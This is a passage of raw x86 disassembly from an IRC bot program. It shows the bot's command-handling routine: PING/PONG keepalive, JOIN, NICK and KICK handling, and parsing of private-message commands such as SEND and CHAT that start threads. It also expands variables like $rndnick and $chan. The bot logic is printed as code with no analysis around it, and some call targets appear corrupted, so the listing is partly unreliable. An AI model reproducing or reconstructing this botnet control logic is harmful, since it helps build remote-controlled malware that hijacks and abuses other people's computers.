ptr -0D80h var_D7C = byte ptr -0D7Ch var_CFC = byte ptr -0CFCh var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = dword ptr -0C5Ch var_C58 = dword ptr -0C58h var_C54 = byte ptr -0C54h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = byte ptr -0A94h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 5D88h call sub_41BB20 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41B590 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41B5F0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401E94 push esi lea eax, [ebp+var_4488] push ebx push eax call sub_41B590 dec esi lea eax, [ebp+var_4488] push esi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push offset asc_42CA30 ; " :" push eax call sub_41B900 mov [ebp+var_C], eax lea eax, [ebp+var_4488] push esi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 mov esi, offset asc_42CA2C ; " " lea eax, [ebp+var_4AF0] push esi push eax call sub_41C0F4 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401E94 cmp [ebp+var_8C], ebx jz loc_401E94 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41B5F0 lea eax, [ebp+var_C4] push offset asc_42CA28 ; "!" push eax call sub_41C0F4 add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi push offset aPing ; "PING" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401CC6 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409A2C mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a005 ; "005" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a302 ; "302" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+var_84] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41B5F0 jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx push dword_4290A0 push dword_42909C push [ebp+arg_10] call sub_40B08D add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401E9C mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+var_84], ebx jz short loc_401E5A push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42C9BC push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409A2C lea eax, [ebp+var_2C4] push eax call sub_4151AC add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DCF push [ebp+var_84] push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E94 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E89: ; CODE XREF: sub_401ACD+612j ; sub_401ACD+8D5j ... push [ebp+arg_4] call sub_409A2C loc_401E91: ; CODE XREF: sub_401ACD+253Bj ; sub_401ACD+2558j ... add esp, 10h loc_401E94: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401E96: ; CODE XREF: sub_401ACD+2A61j pop eax loc_401E97: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A83j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401E9C: ; CODE XREF: sub_401ACD+2F2j push esi push offset aNick ; "NICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401FF2 mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EC5: ; CODE XREF: sub_401ACD+44Aj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F12 lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F12 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41BEB0 push [ebp+arg_1C] push edi call sub_41BEC0 add esp, 10h mov edi, 80h loc_401F12: ; CODE XREF: sub_401ACD+409j ; sub_401ACD+420j add esi, edi dec [ebp+arg_0] jnz short loc_401EC5 lea eax, [ebp+var_C4] test eax, eax jz loc_401E94 cmp [ebp+arg_24], ebx jz loc_401E94 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F5A push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41B5F0 loc_401F52: ; CODE XREF: sub_401ACD+1C35j add esp, 0Ch jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F5A: ; CODE XREF: sub_401ACD+476j mov edi, [ebp+arg_18] xor esi, esi loc_401F5F: ; CODE XREF: sub_401ACD+4B3j cmp [edi], bl jz short loc_401F76 lea eax, [ebp+var_E00] push eax push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_401F87 loc_401F76: ; CODE XREF: sub_401ACD+494j inc esi add edi, 80h cmp esi, 3 jl short loc_401F5F jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F87: ; CODE XREF: sub_401ACD+4A7j lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_401E94 push eax call sub_41AFE0 push [ebp+arg_24] mov edi, eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_401E94 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41B886 push ebx lea eax, [ebp+var_45EC] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409A72 add esp, 24h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401FF2: ; CODE XREF: sub_401ACD+3DEj push esi push offset aPart ; "PART" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402014 push esi push offset aQuit ; "QUIT" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40203B loc_402014: ; CODE XREF: sub_401ACD+534j mov edi, [ebp+arg_18] xor esi, esi loc_402019: ; CODE XREF: sub_401ACD+56Cj cmp [edi], bl jz short loc_40202F push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402083 loc_40202F: ; CODE XREF: sub_401ACD+54Ej inc esi add edi, 80h cmp esi, 3 jl short loc_402019 loc_40203B: ; CODE XREF: sub_401ACD+545j push [ebp+var_8C] push offset a353 ; "353" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4020E4 push [ebp+var_80] push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40206F mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40206F: ; CODE XREF: sub_401ACD+597j push [ebp+var_80] push offset unk_42C968 loc_402077: ; CODE XREF: sub_401ACD+28CCj ; sub_401ACD+2C4Cj ... call sub_415220 loc_40207C: ; CODE XREF: sub_401ACD+1BE1j pop ecx loc_40207D: ; CODE XREF: sub_401ACD+7B6Fj pop ecx jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402083: ; CODE XREF: sub_401ACD+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C944 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+var_8C] push offset aPart ; "PART" call sub_41C070 add esp, 18h test eax, eax jnz loc_401E94 lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4020E4: ; CODE XREF: sub_401ACD+582j push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41C070 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 cmp dword_429088, ebx jz loc_409854 loc_402138: ; CODE XREF: sub_401ACD+631j ; sub_401ACD+643j push [ebp+var_8C] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_40217C: ; CODE XREF: sub_401ACD+8ADj ; sub_401ACD+8E9j ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42C928 mov [ebp+arg_8], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402557 push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40241E cmp [ebp+var_A4], ebx jz loc_4023F7 push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B80] push edi push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_1B94] push [ebp+esi+var_84] push edi push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_19FC], eax mov eax, [ebp+arg_4] mov [ebp+var_1B9C], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A7C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F4], eax mov eax, [ebp+var_8] mov [ebp+var_19F0], eax lea eax, [ebp+var_1A7C] push eax lea eax, [ebp+var_1B80] push eax lea eax, [ebp+var_2C4] push offset unk_42C8EC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_19F8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1B9C] push ebx push eax push offset loc_4161BC push ebx push ebx call near ptr 2670000h nop mov ecx, [ebp+var_19F8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz loc_4023E6 loc_4022A8: ; CODE XREF: sub_401ACD+7EFj cmp [ebp+var_19EC], ebx jnz loc_4083BC push 32h nop call near ptr 2660F57h jmp short loc_4022A8 ; --------------------------------------------------------------------------- loc_4022BE: ; CODE XREF: sub_401ACD+67Bj ; sub_401ACD+691j push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4022D7 mov [ebp+var_4], 1 loc_4022D7: ; CODE XREF: sub_401ACD+801j cmp [ebp+var_88], ebx jz loc_401E94 push offset dword_42C8E8 push [ebp+var_88] call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4022FE cmp [ebp+var_4], ebx jz short loc_40230A loc_4022FE: ; CODE XREF: sub_401ACD+82Aj lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_40230A: ; CODE XREF: sub_401ACD+82Fj cmp [ebp+var_84], ebx jz loc_401E94 inc [ebp+var_84] jz short loc_402356 cmp [ebp+arg_10], ebx jz short loc_402356 lea eax, [ebp+var_338] push eax call sub_41AFE0 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41BE70 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_40235C ; --------------------------------------------------------------------------- loc_402356: ; CODE XREF: sub_401ACD+84Fj ; sub_401ACD+854j mov esi, [ebp+var_AC] loc_40235C: ; CODE XREF: sub_401ACD+887j mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401E94 push edi push offset dword_42C8DC call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_4023A7 mov eax, dword_4CAE28 mov eax, off_429164[eax*4] cmp [eax], bl jz short loc_4023A7 push eax push ecx push offset dword_42C8C0 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023A7: ; CODE XREF: sub_401ACD+8BCj ; sub_401ACD+8CCj push edi push offset dword_42C8B8 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_40217C push eax push ecx push offset dword_42C8A0 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023E6: ; CODE XREF: sub_401ACD+7D5j ; sub_401ACD+7852j call near ptr 2670763h nop push eax push offset unk_42C864 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4023F7: ; CODE XREF: sub_401ACD+6F9j lea eax, [ebp+var_C4] push eax push [ebp+esi+var_88] push offset unk_42C820 loc_40240A: ; CODE XREF: sub_401ACD+7E29j ; sub_401ACD+7E90j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 10h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_40241E: ; CODE XREF: sub_401ACD+6EDj push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40256D cmp [ebp+var_A4], ebx jz loc_402546 push 1Bh call sub_40B33E test eax, eax pop ecx jnz loc_402535 push [ebp+esi+var_84] lea eax, [ebp+var_2AA8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_2910], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2990] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_2908], eax mov eax, [ebp+var_8] mov [ebp+var_2904], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C7F8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_290C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB0] push ebx push eax push offset byte_415C59 push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_290C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_402524 loc_40250E: ; CODE XREF: sub_401ACD+A55j cmp [ebp+var_2900], ebx jnz loc_4083BC push 32h nop call near ptr 2660F57h jmp short loc_40250E ; --------------------------------------------------------------------------- loc_402524: ; CODE XREF: sub_401ACD+A3Fj nop call near ptr 2670763h push eax push offset unk_42C7C0 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402535: ; CODE XREF: sub_401ACD+982j lea eax, [ebp+var_C4] push eax push offset unk_42C790 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402546: ; CODE XREF: sub_401ACD+972j lea eax, [ebp+var_C4] push eax push offset unk_42C75C jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402557: ; CODE XREF: sub_401ACD+6D2j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401E94 loc_40256D: ; CODE XREF: sub_401ACD+966j mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aK ; "k" push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C push [ebp+arg_8] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C cmp [ebp+var_A4], ebx jnz short loc_4025BD push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 loc_4025BD: ; CODE XREF: sub_401ACD+AD4j cmp [ebp+arg_28], ebx jnz loc_409854 xor edi, edi cmp dword_429230, ebx jle loc_402772 mov [ebp+arg_20], offset dword_43D130 loc_4025DB: ; CODE XREF: sub_401ACD+B2Dj push [ebp+arg_8] push [ebp+arg_20] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402601 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_429230 jl short loc_4025DB jmp loc_402772 ; --------------------------------------------------------------------------- loc_402601: ; CODE XREF: sub_401ACD+B1Dj push offset asc_42CA30 ; " :" push [ebp+arg_0] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43D148[edi] push 9Fh add eax, 4 push ecx push eax call sub_41B5F0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_402656: ; CODE XREF: sub_401ACD+C3Aj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_1 ; "$%d-" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_4026C2 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026C2 lea eax, dword_43D130[edi] push eax call sub_41AFE0 add [ebp+var_C], eax pop ecx jz short loc_4026FD mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4026FD push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch jmp short loc_4026FD ; --------------------------------------------------------------------------- loc_4026C2: ; CODE XREF: sub_401ACD+BB1j ; sub_401ACD+BB8j mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026FD lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41B5F0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 18h loc_4026FD: ; CODE XREF: sub_401ACD+BCAj ; sub_401ACD+BDEj ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_402656 lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_40271A: ; CODE XREF: sub_401ACD+C99j push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_40275D mov eax, [edi] cmp eax, ebx jz short loc_40275D push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch loc_40275D: ; CODE XREF: sub_401ACD+C75j ; sub_401ACD+C7Bj dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40271A mov [ebp+var_2C8], 1 loc_402772: ; CODE XREF: sub_401ACD+B01j ; sub_401ACD+B2Fj mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_40278B cmp [ebp+var_2C8], ebx jz loc_40297C loc_40278B: ; CODE XREF: sub_401ACD+CB0j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_417EEE lea eax, [ebp+var_C4] push eax push offset aUser_0 ; "$user" push edi call sub_417EEE push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_417EEE push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_417EEE add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_417EEE mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41B900 add esp, 14h loc_4027FD: ; CODE XREF: sub_401ACD+E28j test eax, eax jz loc_4028FA push edi push [ebp+arg_0] call sub_41B900 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41B5F0 lea eax, [ebp+var_A0] push offset asc_42C718 ; ")" push eax call sub_41C0F4 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_402849 cmp [ebp+var_A0], 39h jle short loc_40285F loc_402849: ; CODE XREF: sub_401ACD+D71j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41B5F0 add esp, 0Ch loc_40285F: ; CODE XREF: sub_401ACD+D7Aj lea eax, [ebp+var_A0] push eax call sub_41B779 test eax, eax pop ecx jle short loc_402885 lea eax, [ebp+var_A0] push eax call sub_41B779 pop ecx mov [ebp+var_94], al jmp short loc_402899 ; --------------------------------------------------------------------------- loc_402885: ; CODE XREF: sub_401ACD+DA1j call sub_41B8E2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_402899: ; CODE XREF: sub_401ACD+DB6j lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41AFE0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41B590 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE push edi push [ebp+arg_0] call sub_41B900 add esp, 30h jmp loc_4027FD ; --------------------------------------------------------------------------- loc_4028FA: ; CODE XREF: sub_401ACD+D32j mov edi, 1FFh lea eax, [ebp+var_4488] push edi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push edi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 lea eax, 